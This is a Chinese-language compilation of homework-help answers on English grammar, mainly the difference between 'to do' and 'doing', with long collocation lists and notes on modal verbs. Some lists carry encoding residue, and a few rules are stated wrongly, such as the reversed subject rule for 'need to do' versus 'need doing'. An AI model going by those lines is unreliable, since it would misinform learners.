to do 做状语和做宾补的区别？

动词加doing：动名词作宾语；或现在分词作状语 例如： He stood,reading a passage attentively. She enjoys reading novels. 动词加todo：不定式作宾语；或者做目的状语 Jack wanted to finish the report on time. After a long walk, they stopped to have a rest. 祝你开心如意！

to do 不定式表目的

关于第四点的说明，用这个句子怎么理解。The story is hard to under-stand .story 就是understand的逻辑宾语，为什么不用被动。

1. The Company was in a strait for they had only twenty-four hours more in which to complete their contract and they had at least sixty hours" work to do. 公司当时陷入了困境,因为他们要完成合同只剩下24小时,而当时他们要干的活至少需要60小时. 2. I have nothing to do with it. 那与我无关. 3. I"m old enough to have the freedom to do as I like. 我已经足够大了,有权去做我喜欢做的事. 4. I am only too pleased to do business with you. 我能和你做生意,太高兴了. 5. It is better to do well than to say well. 【谚】与其夸夸其谈,不如埋头苦干. 6. It is easy to do this. 做这件事是容易的. 7. I felt constrained to do what he told me. 我觉得不能不做他叫我做的事. 8. If you want a share of the pay, you"ll have to do your fair share of the work. 要是你想得到一份报酬,你就必须做好你该分担的那一份工作. 跟不定式（to do）作宾语的动词： want, wish, hope, manage, pretend, decide, learn, agree, expect, demand, long, ask, care, choose, dare, fail, offer, plan, prepare, promise, refuse, desire, happen, appear, intend, would like to, be said to *特殊动词和to do以及~ing的搭配 stop doing/to do stop to do 停止,中断做某事后去做另一件事. stop doing 停止做某事. They stop to smoke a cigarette. 他们停下来,抽了根烟. I must stop smoking. 我必须戒烟了. 典型例题 She reached the top of the hill and stopped ___ on a big rock by the side of the path. A. to have rested B. resting C. to rest D. rest 答案：C.由题意可知,她到了山顶,停下来在一个路边的大石头上休息.因此,应选择"stop to do sth. 停下来去做另一件事".而不仅仅是爬山动作的终止,所以stop doing sth.不正确. forget doing/to do forget to do 忘记要去做某事. (未做) forget doing 忘记做过某事. (已做) The light in the office is stil on. He forgot to turn it off. 办公室的灯还在亮着,它忘记关了.(没有做关灯的动作) He forgot turning the light off. 他忘记他已经关了灯了.( 已做过关灯的动作) Don"t forget to come tomorrow.别忘了明天来. (to come动作未做) 典型例题 ---- The light in the office is still on. ---- Oh,I forgot___. A. turning it off B. turn it off C. to turn it off D. having turned it off 答案：C.由the light is still on 可知灯亮着,即关灯的动作没有发生,因此用forget to do sth. 而forget doing sth表示灯已经关上了,而自己忘记了这一事实.此处不符合题意. remember doing/to do remember to do 记得去做某事 (未做) remember doing 记得做过某事 (已做) Remember to go to the post office after school.记着放学后去趟邮局. Don"t you remember seeing the man before? 你不记得以前见过那个人吗? regret doing/to do regret to do 对要做的事遗憾. (未做) regret doing 对做过的事遗憾、后悔. (已做) I regret to have to do this, but I have no choice. 我很遗憾必须这样去做,我实在没有办法. I don"t regret telling her what I thought. 我不为告诉她我的想法而后悔. 典型例题 ---You were brave enough to raise objections at the meeting. ---Well, now I regret ___ that. A. to do B. to be doing C. to have done D. having done 答案：D.regret having done sth. 对已发生的事感到遗憾.regret to do sth. 对将要做的事感到遗憾.本题为对已说的话感到后悔,因此选D. cease doing/to do cease to do 长时间,甚至永远停做某事. cease doing 短时停止做某事,以后还会接着做. That department has ceased to exist forever. 那个部门已不复存在. The girls ceased chatting for a moment when their teacher passed by. 姑娘们在老师走过时,停了会聊天. try doing/to do try to do 努力,企图做某事. try doing 试验,试着做某事. You must try to be more careful.你可要多加小心. I tried gardening but didn"t succeed.我试着种果木花卉,但未成功. go on doing/to do go on to do 做了一件事后,接着做另一件事. go on doing 继续做原来做的事. After he had finished his maths,he went on to do his physics. 做完数学后,他接着去做物理. Go on doing the other exercise after you have finished this one. 作完这个练习后,接着做其他的练习 be afraid doing/to do be afraid to do 不敢,胆怯去做某事,是主观上的原因不去做,意为"怕"； be afraid of doing 担心出现doing的状况、结果. doing 是客观上造成的,意为"生怕,恐怕". She was afraid to step further in grass because she was afraid of being bitten by a snake.她生怕被蛇咬着,而不敢在草丛中再走一步. She was afraid to wake her husband.她不敢去叫醒她丈夫. She was afraid of waking her husband.她生怕吵醒她丈夫. be interested doing/to do interested to do 对做某事感兴趣,想了解某事. interested in doing 对某种想法感兴趣,doing 通常为想法. I shall be interested to know what happens.我很想知道发生了什么事. (想了解) I"m interested in working in Switzerland. Do you have any idea about that? 我对在瑞士工作感兴趣.你想过这事吗? (一种想法) mean to doing/to do mean to do 打算、想 mean doing 意味着 I mean to go, but my father would not allow me to. 我想去,但是我父亲不肯让我去. To raise wage means increasing purchasing power.赠加工资意味着增加购买力. begin(start) doing/to do begin / start to do sth begin / start doing sth. 1) 谈及一项长期活动或开始一种习惯时,使用doing. How old were you when you first started playing the piano? 你几岁时开始弹钢琴? 2) begin, start用进行时时,后面动词用不定式to do I was beginning to get angry.我开始生起气来. 3) 在attempt, intend, begin, start 后接know, understand, realize这类动词时,常用不定式to do. I begin to understand the truth.我开始明白真相. 4) 物作主语时 It began to melt. 感官动词 + doing/to do 感官动词 see, watch, observe, notice, look at, hear, listen to, smell, taste, feel + do 表示动作的完整性,真实性；+doing 表示动作的连续性,进行性 I saw him work in the garden yesterday. 昨天我看见他在花园里干活了.(强调"我看见了"这个事实) I saw him working in the garden yesterday.（强调"我见他正干活"这个动作） 昨天我见他正在花园里干活. 典型例题 1）They knew her very well. They had seen her ___ up from childhood. A. grow B. grew C. was growing D. to grow 答案：A.因题意为,他们看着她长大,因此强调的是成长的过程,而非正在长的动作,因此用see sb do sth 的句型. 2）The missing boy was last seen ___ near the river. A. playing B. to be playing C. play D. to play 答案A. 本题强调其动作,正在河边玩,应此用see sb. doing sth句型.

在句中want：想，作动词，一个句中不能有两个动词，所以to drink是名词。to drink some coffee就是名词性短语名词性短语（Noun phrase）是一个语法学术语，是指语法功能相当于名词的一类短语。名词性短语一般可以在句子中充当主语、宾语、定语等成分。

一个简简单单的问题说这么复杂 ``头都看晕了； `

to do 是不定式 表目的 做主语时可以翻译为『为了什么什么』 doing是现代分词『又叫动名词』 做主语时和原型的意思没任何区别 只是以为主语必须是名词『动名词 物名词』和人称 所以要用动词做主语时 必须改变它的词性 也就是动词要变为动名词 这就是区别

一，动词加to do一般表示要做还没有做的事情：例如I forgot to close the window 我忘记关窗户了（没有关）还有的表示暂时想要做某事：例如I like to watch TV now . 我现在想看电视。二，动词加doing一般表示已经做过某事：例如I remember seeing you somewhere. 我记得在某地见过你（已经见过）。还可以表示喜欢，长时间的爱好：例如she likes swimming. 她爱好游泳。

to do 将要做还未做doing 正在进行does 用于一般现在时，前面是第三人称单数done 已经完成

1. 关于do的短语 do away with废除；摆脱；消灭 do harm to 对。 有害 do justice to 公平对待；适当处理 do one"s best尽力 do one"s bit尽自己的一份力 do one"s duty尽职责 do one"s hair做头发 do up从新整修；收拾整齐 do without不用 have nothing to do with与。无关 have something to do with 与。 有关 do some +V-.ing 1、表示有目的、有意识地进行练习或训练某项技能 do some running 跑步 do some reading 看书 do some writing 练练字 do some typing打字 This year I"m going to do more speaking .今年我打算多进行口语练习 2、表示做一些笼统但不具体指明的事 do some shopping 买东西 do some washing 洗衣服 do some cooking 做饭 do some cleaning 打扫除 do some sewing 做针线活。 2. to do 短语 你问的都是非谓语动词，这讲起来需要一些时间和功夫了，简单的说：To do是不定式，可以放在句首做主语。 比如：To see is to believe！（眼见为实）这句话 to see是不定式主语，to believe 是不定式做表语。你说的动词ing放句首是片面的，因为ing包括2种动词形式：动名词和现在分词都是doing的形式放句首的是动名词，动名词是动词和名词的性质，所以当然可以做名词放在句首。 in order to do里的不定式是做目的状语，为了做什么什么。状语可以放在句首，但是外国人基本不那么用，中文和英文的区别之一就是状语位置不一样。 中文习惯把状语放句首英文习惯放在句末或者句中比如上面那句话可以写成：Seeing is believing！（这里动名词可以做主语和表语）还有一种是分词做状语放在句首，不过你最后一句话应该是Being a good student吧，作为一个好学生，这里主语在后面是he，是他作为一个好学生，是主动的所以用现分，而过分在这句话里表示的是被动了。 3. 含有to do sth.的短语总结『带翻译』 be busy with sth. spend on sth. be busy doing sth. spend doing sth. keep on dong sth mind doing sth. 介意干某事 keep doing sth. mind not doing sth. 介意不干某事 have money to do sth./have money for sth. 有钱做某事 make sb. do sth. 使某人做某事 do sth. help sb. to do sth. 帮助某人做某事 with ask sb. about sth. 问某事关于某人 say sth. to sb. 对某人说某事 ask sb. for help 向某人求援 show sb. Sth. lend sb sth. show sth. to sb. lend sth to sth. give sth. to sb. talk to sb. 对某人说话 give sb. Sth. talk with sb. 和某人说话 need to do sth. 需要做某事 （主语是物） need doing sth. 需要做某事 （主语是人） to do sth. start doing sth 开始干某事 forget doing sth. start to do sth stop to do sth. 停下来接着干某事 stop doing sth. 停止干某事 remember doing sth. 记得干过某事 remember to do sth. 记住要干某事 try to do sth. 尽力去做某事 try doing sth. 试着去做某事 go on to do sth 做完一件事后，继续作另一件 go on doing sth 继续做某件事 ask sb. to do sth. 叫某人做某事 ask sb. not to do sth. 叫某人不做某事 want sb. to do sth. 想让某人做某事 want sb. not to do sth. 不想让某人做某事 tell sb. to do sth. 告诉某人做某事 plan to do sth. 计划做某事 decide to do sth. 决定做某事 used to do sth. 过去常常干某事 get sb. to do sth. 让某人做某事 would you like to do sth.愿意做某事 can"t wait to do sth. 迫不及待地做某事 have fun doing sth. 做某事很有趣 enjoy doing sth. 做某事很享受 mind doing sth. 介意做某事 practice doing sth. 练习做某事 finish doing sth. 完成做某事 感官动词后接不带to的动词不定式，强调所看到的事情的发生过程，感官动词后接现在分词，强调事情正在发生。 4. 关于do,doing,to do的词组句子 很高兴为您解答 这样的句子词组有很多啊，比如： 1. let、make 、help sb. do sth. 2.prefer to do/doing sth. can not help doing sth. 忍不住做什么事 start、begin to do /doing sth. 3. It is +adj. + to do sth. eg. It is important to learn English. 还有很多的，这在于平时慢慢积累，加油 5. 英语单词加doing或to do的短语,越多越好 to do: 1、affordu2002tou2002dou2002sth.负担得起做某事e799bee5baa6e997aee7ad94e4b893e5b19e31333431363031 2、agreeu2002tou2002dou2002sth.同意做某事 3、arrangeu2002tou2002dou2002sth.安排做某事 4、asku2002tou2002dou2002sth.要求做某事 5、begu2002tou2002dou2002sth.请求做某事 6、careu2002tou2002dou2002sth.u2002想要做某事 7、chooseu2002tou2002dou2002sth.u2002决定做某事 8、decideu2002tou2002dou2002sth.u2002决定做某事 9、demandu2002tou2002dou2002sth.u2002要求做某事 10、determineu2002tou2002dou2002sth.u2002决心做某事 11、expectu2002tou2002dou2002sth.u2002期待做某事 12、fearu2002tou2002dou2002sth.u2002害怕做某事 13、helpu2002tou2002dou2002sth.u2002帮助做某事 14、hopeu2002tou2002dou2002sth.u2002希望做某事 15、learnu2002tou2002dou2002sth.u2002学习做某事 16、manageu2002tou2002dou2002sth.u2002设法做某事 17、offeru2002tou2002dou2002sth.主动提出做某事 18、planu2002tou2002dou2002sth.u2002计划做某事 19、prepareu2002tou2002dou2002sth.u2002准备做某事 20、pretendu2002tou2002dou2002sth.u2002假装做某事 21、promiseu2002tou2002dou2002sth.u2002答应做某事 22、refuseu2002tou2002dou2002sth.u2002拒绝做某事 23、wantu2002tou2002dou2002sth.u2002想要做某事 24、wishu2002tou2002dou2002sth.u2002希望做某事 doing: 1、enjoyu2002doingu2002sth.u2002喜爱做某事 2、escapeu2002doingu2002sth.u2002逃脱做某事u2002 3、excuseu2002doingu2002sth.u2002原谅做某事u2002u2002 4、fancyu2002doingu2002sth.u2002设想做某事u2002 5、finishu2002doingu2002sth.u2002完成做某事u2002 6、forbidu2002doingu2002sth.u2002禁止做某事u2002 7、forgiveu2002doingu2002sth.u2002原谅做某事u2002u2002 8、giveu2002upu2002doingu2002sth.u2002放弃做某事u2002 9、imagineu2002doingu2002sth.u2002想象做某事u2002 10、keepu2002doingu2002sth.u2002保持做某事u2002 11、mentionu2002doingu2002sth.u2002提及做某事 12、mindu2002doingu2002sth.u2002介意做某事u2002 13、missu2002doingu2002sth.u2002错过做某事 14、pardonu2002doingu2002sth.u2002原谅做某事u2002 15、permitu2002doingu2002sth.u2002允许做某事u2002 16、practiceu2002doingu2002sth.u2002练习做某事u2002 17、preventu2002doingu2002sth.u2002阻止做某事 18、prohibitu2002doingu2002sth.u2002禁止做某事u2002 19、putu2002offu2002doingu2002sth.u2002推迟做某事u2002 20、reportu2002doingu2002sth.u2002报告做某事u2002 21、risku2002doingu2002sth.u2002冒险做某事u2002 22、stopu2002doingu2002sth.u2002停止做某事 23、suggestu2002doingu2002sth.u2002建议做某事 24、understandu2002doingu2002sth.u2002理解做某事 6. 初中英语所有+to do 的词组 Doing类短语 allow doing sth允许做某事 by doing sth 通过做某事 be always doing sth总是做某事 be terrified of doing sth害怕做某事 be afraid of doing sth害怕做某事 be busy doing sth 忙于做某事 be against doing sth反对做某事 be good at doing sth 擅长做某事 be used for doing sth ……被用来做某事 be used to doing sth 习惯于做某事 be careful of doing sth 小心做某事 can"t couldn"t stop doing sth情不自禁做某事 continue doing sth 继续做某事 dream of about doing sth向往做某事 end up doing sth结束做某事 enioy doing sth享受做某事的乐趣、喜欢做某事finish doing sth 完成做某事 feek like doing sth 想做某事 give up doing sth 放弃做某事 go on doing sth 继续做某事 have difficulty trouble problem (in) doing sth 做某事遇到困难麻烦问题 how about doing sth = what about doing sth 做某事怎么样呢？have great fun doing sth做某事快乐 instead of doing sth 代替做某事 join sb in doing sth加入某人做某事 keep sb doing sth 让某人一直做某事 look forward to doing sth期待做某事 make a living by doing sth 通过做某事维生 mind doing sth介意做某事 need doing sth ……需要被做某事 practice doing sth 操练做某事 put off doing sth 推迟做某事 prefer doing sth to doing sth 和做……相比更喜欢做某事 plan on doing sth计划做某事 plan for doing sth做某事的计划 sb spend some money in doing sth 某人做某事花了……钱 suggest sb doing sth建议某人做某事 stop sb from doing sth阻止某人做某事 thanks for doing sth = thank you for doing sth 感谢做某事 think about of doing sth 思考做某事 不带to的动词短语 had better (not) do sth最好（不）做某事 Would you please (not) do sth 请你（不）做某事，好吗？let have get sb do sth让某人做某事 被动语态：sb be permitted to do sth某人被允许做某事=sb be allowed to do sth make sb do sth迫使某人做某事 被动语态：sb be made to do sth watch sb do sth看见某人做了某事 被动语态sb be watched to do sth watch sb doing sth注视某人正在做某事 see sb do sth看见某人做了某事 被动语态sb be seen to do sth see sb doing sth看见某人正在做某事 find sb do sth发现某人做了某事 被动语态sb be found to do sth find sb doing sth发现某人正在做某事 feel sb do sth感觉某人做了某事 被动语态sb be felt to do sth feel sb doing sth感觉到某人正在做某事 notice sb do sth感觉某人做了某事 被动语态sb be noticed to do sth notice sb doing sth注意到某人正在做某事 allow sb to do sth允许做某事 ask for sth 请求某物 ask sb (not) to do sth 请求某人（不）做某事 afford to do sth 有能力做某事 agree to do sth 同意做某事 be afraid of doing sth 害怕做某事 be afraid to do sth害怕做某事 be sure (not) to do sth一定 务必 （不） 做某事 be suitable for sb to do sth 适合某人做某事 be ready to do sth乐意做某事 be hard to do sth 做某事艰难 be uesd to do sth be used for doing sth ……被用来做某事 be willing to do sth乐意做某事 be able to do sth能够做某事 be serious about doing sth 认真对待做某事 be +形容词+ to do sth 做某事怎么样 be +形容词+ enough + to do sth 足够的……而可以做某事 be supposed to do sth 被期待做某事、应该做某事 begin to do sth begin doing sth开始做某事 can"t couldn"t wait to do sth迫不及待做某事 decide (not) to do sth决定（不）做某事 encourage sb to do sth 鼓励某人做某事 forget to do sth忘记做某事（事未做） forget doing sth 忘记做了某事（事情已经做了） fail to do sth 做某事失败 go on to do sth 继续做某事 happen to do sth碰巧做某事 have a change to do sth= have an opportunity to do sth有机会做某事 help sb to do sth 帮助某人做某事 have (no) time to do sth（没有）有时间做某事 How long does it take sb to do sth？花费某人多少时间做某事 in order to do sth 为了做某事 invite sb to do sth邀请某人做某事 It"s a good time to do sth做某事的好时候 It"s one"s duty to do sth做某事是某人的职责 It"s +形容词+ for of sb to do sth 做某事对某人来说怎么样（注意for of用法 It"s time (for sb) to do sth = It"s time for sth 该（某人）做某事了。 It"s one"s turn to do sth 轮到某人做某事了 It takes sb some time to do sth 花费某人…时间做某事 （注意take的时态， sb用宾格） like to do sth like doing sth喜欢做某事 learn to do sth 学习做某事 need to do sth 需要做某事、plan to do sth计划做某事 prefer to do rather than do sth 和做某事相比更喜欢做某事 remember to do sth 记住做某事 remember doing sth、记住做了某事 start to do sth start doing sth开始做某事 stop to do sth 停下来做（另一件）某事、stop doing sth停止做某事 try to do sth 努力做某事 try doing sth 企图做某事 tell sb sth告诉某人某事 tell sb about sth 告诉某人关于某事 tell sb (not) to do sth告诉某人 （不） 做某事 the best way to do sth做某事的最好途径 teach sb .sth 教某人某事 teach sb to do sth教某人做某事 try one"s 。 7. 初中外研版动词+Doing或Todo的短语和用法如Beusetodo表示过去常 1.remember to do sth.记住要做某事 remember doing sth.记住曾做过某事2.forget to do sth.忘记要做某事 forget doing sth.忘记曾做过某事3.try to do sth.设法要做某事 try doing sth.做某事试试看有何效果4.mean to do sth.打算做某事 mean doing sth.意味着做某事5.can"t help to do sth.不能帮助做某事 can"t help doing sth.禁不住做某事6.go on to do sth.做完某事后接着做另一事 go on doing sth.继续做一直在做的事注：stop to do sth.与stop doing sth.也不同，前者指停下来去做某事，后者指停止正在做的事，但stop to do sth.中的不定式不是宾语，是目的状语.。

1 跟动名词(doing)和动词不定式（to do）均可的词,含义无区别：start,begin,continue,prefer,like,love,hate,后跟to do 表具体和特定的动作后跟 doing 表泛指的动作2 跟动名词(doing)动词不定式（to do）均可的词,含义区别较大：1.stop to do---stop doing mean doing2.mean to do---mean doing3.try to do---try doing4.agree to do---agree to sb doing5.be afraid to do---be afraid of doing6.remember to do---remember doing7.forget to do---forget doing8.allow/permit/advise sb.to do---allow/permit/advise doing9.regret to do---regret doing10.want to do---want doing (表被动)11.need to do---need doing(表被动)12.go on to do---go on doing13.can"t help to do---can"t help doing14.forbid sb.to do=forbid sb"s doing---forbid doing

to do与to+doing的用法区别 　　to do与to+doing的用法同学们很容易混淆，下面我整理了to do与to+doing的.用法区别，希望对大家有帮助！ 　　 1. 时间不同 　　forget/ remember doing：表示动作发生在“忘记”、“记得”之前 　　forget/ remember to do：表示动作发生在“忘记”、“记得”之后 　　I forgot to do my homework. 我忘记要做家庭作业了。 　　I forget having finished my homework. 我忘了我已经做完作业了。 　　 2. 功能不同 　　go on/ leave off/ stop doing: -ing分词作宾语 　　go on/ leave off/ stop to do: 不定式作目的状语 　　My father left off working and had some coffee. 我爸爸停下工作，喝了些咖啡。 　　My father left off to have some coffee. 我爸爸停下来，喝了些咖啡。 　　 3. 含义不同 　　在try, mean, can"t help等动词后接的是ing分词还是to do, 与动词本身含义相关。 　　try to do sth 努力做某事 　　try doing sth 试着做某事 　　mean to do 打算做某事 　　mean doing sth 意味着做某事 　　can"t help to do sth 不能帮忙做某事 　　can"t help doing sth 情不自禁做某事 　　 4. 搭配不同 　　在动词agree, decide后，可直接带不定式，但若带-ing分词，则必须添加介词。 　　agree to do sth 同意做某事 　　agree on doing sth 同意做某事 　　decide to do sth 决定要做某事 　　decide on doing sth 决定要做某事 　　因此，我们可以看出，虽然以上动词既能跟-ing分词，也能带不定式，但意义却不相同。在运用过程中，我们要根据语境、功能、动词含义等来加以来判断，不能以一概全。 ;

think后面加to do。think不能直接加doing，think后面加doing只有两种情况，1、think about doing考虑做某事；2、think of doing想起，想到要做某事。think后面加todo还是doing1think的用法一、think+宾语从句 认为……例如：1. I think you should phone Jenny and say sorry to her.2. I think she should have paid the money back. 我认为她本应该偿还那笔钱的。二、如果要否定think后面宾语从句的内容，常常用否定主句谓语动词的方式来表示，这种方式被称为否定转移，多用在第一人称的句子里。例如： I don"t think he saw me. 我认为他没有看见我。三、think sb / sth (to be) sth 及 sb / sth be thought to be sth / to do sth例如： We all thought her (to be) very intelligent.四、think+it+形容词/ 名词+(for sb)to do sth / that 从句， 表示“认为某人做某事怎么样“， it 是形式宾语，(for sb)to do sth 即不定式的复合结构或that 从句作真正的宾语，此时的that 不可省去。例如：2. I think it important that young people should learn English well. 我认为年轻人学好英语是重要的。3. I think it our duty to help those who need help. 我认为帮助需要帮助的人是我们的责任。五、 I think so. / I don"t think so. / I think not. 它们的意思是“我认为这样/我不这样认为/我认为不是”，可用来肯定或否定上下文提到的内容和对方所说的话。六 、think of 和 think about1、think of思考/考虑/对…有某种看法=think about2、think of 想起例如：I can‘t think of his name right now. 我记不起他的名字。

1 跟动名词(doing)和动词不定式（to do）均可的词,含义无区别：start,begin,continue,prefer,like,love,hate,后跟to do 表具体和特定的动作后跟 doing 表泛指的动作 2 跟动名词(doing)动词不定式（to do）均可的词,含义区别较大：1.stop to do---stop doing mean doing 2.mean to do---mean doing3.try to do---try doing 4.agree to do---agree to sb doing 5.be afraid to do---be afraid of doing 6.remember to do---remember doing 7.forget to do---forget doing 8.allow/permit/advise sb.to do---allow/permit/advise doing 9.regret to do---regret doing 10.want to do---want doing (表被动) 11.need to do---need doing(表被动) 12.go on to do---go on doing 13.can"t help to do---can"t help doing 14.forbid sb.to do=forbid sb"s doing---forbid doing

to do to goto answerto build 都是由to组成的动词短语,这里的to不能与动词分开作介词．

to不只有一种用法

（一）跟不定时作宾语的动词有： 打算(intend)计划(plan)和期盼(expect) 假装(pretend)喜欢(would like/love/prefer)表祝愿(wish) 决定(decide)同意(agree)来帮助(help) 设法(manage)说服(persuade)不拒绝(refuse) 好像(seem/appear)答应(promise)做努力(attempt) 选择(choose)询问(ask)多学习(learn) 告诉(tell)失败(fail)也付得起(afford) （二）在动词 remember, try, regret, forget, need/want/require， stop, mean 等后跟动名词 V-和不定式意义不同，巧记一句话（记住努力；后悔忘记； 需要停止；很有意义），学习采用对比法： remember to do something 记着去做某事（现在还没有做） remember doing something 记着曾做过某事（以前做过某事） try to do something 努力、尽力做某事 try doing something 试着做某事（看能否达到预期的结果） stop to do something 开始做某事（停下正在做的事，开始做另一事） stop doing something 停止做某事（停止正在做的事） regret to do something 对将来做的事感到遗憾、惋惜 regret doing something 对已经做过的事感到后悔 mean to do something 打算,想，意图… mean doing something 意味着 want/require/need to be done 某事需要做 want/require/need doing 某事需要做(这时动名词和主语之间有动宾关系， 如: The room needs cleaning/needs to be cleaned) can"t help to do sth.不能帮助做某事 can"t help doing sth.禁不住做某事

非谓语动词：http://baike.baidu.com/link?url=ZFc6nceQqCtOikaPdpru5VrVfYkAp3S6j704x0JbSI4SHBs4RfuM8BIogeJ7m_P76dQcyLL3Z8XjwpAfY9Lfjabe to do的用法：http://zuoye.baidu.com/question/851962ae30329a07c07e2d4eca5abfed.html

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可以，只是两者做补语有区别

动词不定式作主语时，句子的谓语动词常用单数，其位置有以下两种：(1)把不定式置于句首。如：To get there by bike will take us half an hour.骑自行车到那儿将花费我们半个小时。To make up for lost time is not possible.要弥补失去的时光是不可能的。To lean out of the window is dangerous.身子探出窗外很危险。To save money now seems impossible.现在好像不可能存钱。(2)用it作形式主语，把真正的主语不定式置于句后，常用于下列句式中。如：①It+be+名词+to doIt"s our duty to take good care of the old.照顾老人是我们的责任。②It takes sb+some time+to doHow long did it take you to finish the work?你花了多少时间来完成这项工作？③It+be+形容词+for sb+to doIt is difficult for us to finish writing the composition in a quarter of an hour.我们难以在四分之一小时内完成这篇作文。It is stupid of you to write down everything (that) the teacher says.你把老师说的所有东西都记下来的行为是很愚蠢的。It is an offence to drop litter in the street.在马路上乱丢废物是违章的。④It seems(appears)+形容词+to doIt seemed impossible to save money.在句型③中，常用表示客观情况的形容词，如：difficult,easy,hard,important,impossible,necessary 等；在句型④中，常用careless,clever,good,foolish,honest,kind,lazy,nice,right,silly,stupid,wise等 表示赞扬或批评的词。在不定式前的sb，可看作其逻辑主语。这一句式有时相当于Sb is+形容词+to do句式 ，如：It"s kind of you to help me with my English.=You are kind to help me with my English.⑤It + 不定式结构可位于believe/consider/discover/expect/find/think和wonder之后He thought it would be safer to go by train.他认为乘火车比较安全。He will find it is hard to make friends.他会感觉到交朋友困难。⑥不定式的完成式也可作句子的主语To have made the same mistake twice was unforgivable.两次犯同样的错误是不可原谅的。It is better to have loved and lost than never to have loved at all.爱过而后失去了爱，比从未爱过要好。(3)举例（1） It"s easy (for me) to do that.我做这事太容易了easy,　difficult,　hard,　important,　possible,　impossible,　comfortable,　necessary,　better;the first,　the next,　the last,　the best,　too much,　too little,　not enoughIt"s so nice to hear your voice.听到你的声音真高兴。It"s necessary for you to lock the car when you do not use it.当你不用车的时候，锁车是有必要的。（2） It"s very kind of him to help us.　他帮助我们，他真好。Kind,　nice,　stupid,　rude,　clever,　foolish,　thoughtful,　thoughtless,　brave,　considerate(考虑周到的),　silly,　selfish(自私的)例句:It was silly of us to believe him.　我们真愚蠢，竟然相信了他。It seemed selfish of him not to give them anything.　他不给他们任何东西，这显得太自私了。注意：（1） 其他系动词如，look，appear等也可用于此句型（2） 不定式作为句子成分时，动词用单数形式。（3） 当不定式作主语的句子中又有一个不定式作表语时，不能用It is… to…的句型(对)To see is to believe.　眼见为实。(错)It is to believe to see.doing sth作主语Reading is an art. 读书是一种艺术。Climbing mountains is really fun. 爬山真是有趣。Working in these conditions is not a pleasure but a suffer. 在这种工作条件下工作不是一件愉快的事而是一件痛苦的事。动名词作主语，谓语动词一般用三单形式动名词作主语，在动词的基础上加Ing,使该动词或动词短语，有名词的各种特征，可作名词灵活使用。如：It is no use/no good crying over spilt milk.覆水难收It is a waste of time persuading such a person to join us. 劝说这样的人加入真是浪费时间。It was hard getting on the crowded street car. 上这种拥挤的车真难。It is fun playing with children. 和孩子们一起玩真好。There is no joking about such matters. 对这种事情不是开玩笑。动名词作主语的几种类型动名词可以在句子中充当名词所能充当的多种句子成分。在这里仅就动名词在句子中作主语的情况进行讨论。动名词作主语有如下几种常见情况：1. 直接位于句首做主语。例如：Swimming is a good sport in summer.2. 用 it 作形式主语，把动名词(真实主语)置于句尾作后置主语。动名词做主语时，不太常用 it 作先行主语，多见于某些形容词及名词之后。例如：It is no use telling him not to worry.常见的能用于这种结构的形容词还有：better，wonderful，enjoyable，interesting，foolish，difficult，useless，senseless，worthwhile，等。注意：important，essential，necessary 等形容词不能用于上述结构。3. 用于“There be”结构中。例如：There is no saying when he"ll come.很难说他何时回来。4. 用于布告形式的省略结构中。例如：No smoking ( =No smoking is allowed (here) ). （禁止吸烟）No parking. （禁止停车）5. 动名词的复合结构作主语当动名词有自己的逻辑主语时，常可以在前面加上一个名词或代词的所有格，构成动名词的复合结构(——这时，名词或代词的所有格做动名词的逻辑主语)。动名词的复合结构也可以在句中作主语。例如：Their coming to help was a great encouragement to us.6．例词shopping fishing cycling这些都是很常见的动名词动名词作主语与动词不定式作主语的比较动词不定式和动名词都可以用作主语。在意义上相近。但动名词多用来表示泛指或抽象动作，不定式多用来表示特指或具体动作。比较：Smoking is not good for health.It is not good for you to smoke so much.注意：1) 在口语中，用动名词作主语位于句首的较不定式多见。2) 在“It is no use...”，“It is no good...”，“It is fun...”，“It is a waste of time...”等句型中，通常用动名词作真实主语：It is no use/good/a waste of time talking about that.*It is no use/good/a waste of time to talk about that.3) 在疑问句中，通常用动名词的复合结构，而不用不定式的复合结构作主语：Does your saying that mean anything to him?*Does for you to say that mean anything to him?4) 在“There be”句型中，只能用动名词，而不能用不定式作主语：There is no telling what will happen.It is impossible to tell what will happen.5) 当句子中的主语和表语都是非限定动词时，要遵循前后一致的原则，主语和表语在形式上要求统一：Seeing is believing.*To see is to believe. ——引自百度百科

情态动词的用法归纳 情态动词的用法归纳 情态动词有can (could), may (might), must, have to, shall (should, will (would), dare (dared), need (needed), ought to等. 情态动词无人称和数的变化；不能单独使用,必须与其后的动词原形构成谓语 一、 can, could 1) 表示能力（体力、知识、技能）. Can you lift this heavy box?（体力） Mary can speak three languages.（知识） Can you skate?（技能） 此时可用be able to代替.Can只有一般现在时和一般过去式；而be able to则有更多的时态. I"ll not be able to come this afternoon. 当表示“经过努力才得以做成功某事”时应用be able to,不能用Can.如： He was able to go to the party yesterday evening in spite of the heavy rain. 2) 表示请求和允许. -----Can I go now? ----- Yes, you can. / No, you can"t. 此时可与may互换.在疑问句中还可用could,might代替,不是过去式,只是语气更委婉,不能用于肯定句和答语中. ---- Could I come to see you tomorrow? ---- Yes, you can. ( No, I"m afraid not. ) 3) 表示客观可能性（客观原因形成的能力）. They"ve changed the timetable, so we can go by bus instead. This hall can hold 500 people at least. 4) 表示推测（惊讶、怀疑、不相信的态度）,用于疑问句、否定句和感叹句中. Can this be true? This can"t be done by him. How can this be true? 二、 may, might 1) 表示请求和允许.might比 may语气更委婉,而不是过去式.否定回答时可用can"t或mustn"t,表示“不可以,禁止”. ----Might/ May I smoke in this room? ---- No, you mustn"t. ---- May/Might I take this book out of the room? ---- Yes, you can. (No, you can"t / mustn"t. ) 用May I...?征徇对方许可时比较正式和客气,而用Can I...?在口语中更常见. 2）用于祈使句,表示祝愿. May you succeed! 3) 表示推测、可能性（不用于疑问句）. might不是过去式,它所表示的可能性比may小. 1．He may /might be very busy now. 2．Your mother may /might not know the truth. 三、 must, have to 1) 表示必须、必要. You must come in time. 在回答引出的问句时,如果是否定的,不能用mustn"t（禁止,不准）,而用needn"t, don"t have to（不必）. ---- Must we hand in our exercise books today? ---- Yes, you must. ---- No, you don"t have to / you needn"t. 2) must是说话人的主观看法, 而have to则强调客观需要.Must只有一般现在时, have to 有更多的时态形式. 1． he play isn"t interesting, I really must go now. 2． I had to work when I was your age. 3) 表示推测、可能性（只用于肯定的陈述句） 1． You"re Tom"s good friend, so you must know what he likes best. 2． Your mother must be waiting for you now. 四、 dare, need 1) dare作情态动词用时, 常用于疑问句、否定句和条件从句中, 过去式形式为dared. 1． How dare you say I"m unfair? 2． He daren"t speak English before such a crowd, dare he? 3． If we dared not go there that day, we couldn"t get the beautiful flowers. 2) need 作情态动词用时, 常用于疑问句、否定句.在肯定句中一般用must, have to, ought to, should代替. 1．You needn"t 